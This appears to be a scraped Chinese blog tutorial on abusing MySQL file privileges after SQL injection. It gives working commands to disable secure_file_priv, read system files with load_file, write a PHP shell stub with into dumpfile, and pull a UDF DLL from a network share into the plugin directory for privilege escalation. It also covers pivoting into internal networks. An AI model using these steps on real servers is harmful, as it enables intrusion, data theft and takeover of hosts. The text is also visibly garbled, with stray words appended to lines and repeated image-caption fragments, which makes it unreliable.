能读写文件的前提

不一样系统、不一样的数据库版本有细微差别,如下实验在Windows10和Mysql 5.7.26下操做;php

1.拥有该File的读权限 or 该目录写的权限

2.当前用户的secure_file_priv属性的值不为NULLmysql

Windows下的设置

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。linux

secure_file_priv属性值的设置:web
secure_file_priv为null 表示不容许导入导出 (5.7后为默认值)
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
[mysqld]
secure_file_priv=
# secure_file_priv= 表示对读写没有限制
# secure_file_priv= 在基线扫描时也是一个漏洞特征

Linux下的设置

在/etc/my.cnf的[mysqld]下面添加sql

[mysqld]
secure_file_priv=''
# 保存,重启mysql
pkill mysqld
ps -ef | grep mysqld
# 检查一下进程是否被干掉了
./mysql_safe &
没有读写权限的尝试
win:shell
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;

mysql的include文件 mysql file_priv_mysql

也不报错,就是每执行一次就增长一行空值;数据库

linxu:

报错:The MySQL server is running with the --secure-file-priv option so it cannot execute this statementvim

确认有SQL注入后,跟进确认是否有读写权限

# win
show global variables LIKE "secure_file_priv";

mysql的include文件 mysql file_priv_php_02

# linux
show global variables LIKE "secure_file_priv";

mysql的include文件 mysql file_priv_mysql的include文件_03

read

能读文件意味着系统敏感文件泄露,代码被审计;读远程文件;windows

准备好要读的文件

mysql的include文件 mysql file_priv_mysql_04

网络

经常使用读文件函数,mysql在不一样版本读取文件的函数可能会不一样:

load_file()
load data infile()
system cat
load_file()
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
[2019-08-15 10:55:11] 1 row affected in 4 ms

mysql的include文件 mysql file_priv_mysql写系统_05

读入成功。

load_file( )函数支持网络路径。若是你能够将DLL复制到网络共享中,那么你就能够直接加载并将它写入磁盘。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
load data infile()
load data infile 'D:/test.txt' into table read2_tb;

mysql的include文件 mysql file_priv_转义_06

write

写命令能够将一条select语句的结果写到MySQL进程全部者拥有的彻底可写权限的文件中。能写文件就意味着能写入shell, OS 区分Win\Linux之间的差异;

into outfile

将某列数据写出

use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';
# D:/test2.txt 不能存在,否则报错
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists

mysql的include文件 mysql file_priv_转义_07

自定义shell写出

select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';

mysql的include文件 mysql file_priv_php_08

into dumpfile
Think about it carefully. Both of them are function writers. Are they different?
Reference:https://www.jb51.net/article/139858.htm
The difference beween outfile and dumpfile:

导出的行数不同

转义输出

是否容许二进制文件

导出的行数区别

outfile

首先经过命令select * from test into outfile '/tmp/test.txt'来使用outfile导出:

mysql的include文件 mysql file_priv_mysql写系统_09

经过查看官方文档,能够看出使用以下参数能够进行格式调整

mysql的include文件 mysql file_priv_php_10

FIELDS ESCAPED BY 能够用来对指定的字符进行转义

FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹

FIELDS TERMINATED BY 用来对字段值之间进行分割

Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
Example out :

mysql的include文件 mysql file_priv_转义_11

dumpfile

在经过命令select * from test into dumpfile '/tmp/test.txt'来使用outfile导出:

命令执行时,命令提示超过一行

mysql的include文件 mysql file_priv_php_12

查看文件内容

mysql的include文件 mysql file_priv_mysql写系统_13

经过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据。

转义输出

保持原数据格式

outfile

咱们使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 来看一下在经常使用的写文件场景下的结果

mysql的include文件 mysql file_priv_mysql写系统_14

outfile对导出内容中的\n等特殊字符进行了转义,而且在文件内容的末尾增长了一个新行

dumpfile

使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';

mysql的include文件 mysql file_priv_php_15

能够看到dumpfile对文件内容是原稿写入,未作任何转移和增长。

基于这个缘由,在UDF提权中通常使用dumpfile进行dll文件 写入的缘由。

二进制文件

outfile后面不能接0x开头或者char转换之后的路径,只能是单引号路径。这个问题在php注入中很棘手,由于会自动将单引号转义成\',请千万注意。

但dumpfile,后面的路径能够是单引号、0x、char转换的字符,可是路径中的斜杠是/而不是\。

由于dumpfile容许写二进制文件。

mysql写shell并利用成功的前提

1.拥有上面说的3个前提

2.能写入到可执行目录里面

3.能链接成功

利用mysql写shell的好处

内网扩散

数据库通常都在内网之中,与其余内网主机能互通,做为一个跳板机就很理想,不过须要注意OP/DBA这种岗位对这台SQL主机的持续监控;

提权

通常进入主机多是低权限或者匿名用户,可是经过SQL注入获得的登录用户具备必定权限;利用SQL注入也是一种提权方式;

system + [shell command]

在mysql版本为5.x时,除了可使用以上方式读写文件,还可使用命令直接读写文件,前提是使用linux.

# read
system cat /test.txt
# writer
system vim /web/site/www/test/a.php

注意:

1.此方法只能在本地读取,远程链接mysql时没法使用system

2.没法越权操做

实验证实

$SQL1 = "select * from test_tb where name='lisi' and sex='0'";
//$SQL2 = "system date;";
$conn = getConnect();
$result = $conn->query($SQL1);
//$result = $conn->query($SQL2);
print_r($result);

在php远程链接mysql,而后执行了SQL1 和 SQL2, 发现执行的system的SQL语句失败。说明该关键字只能在本地的Linux Mysql上使用。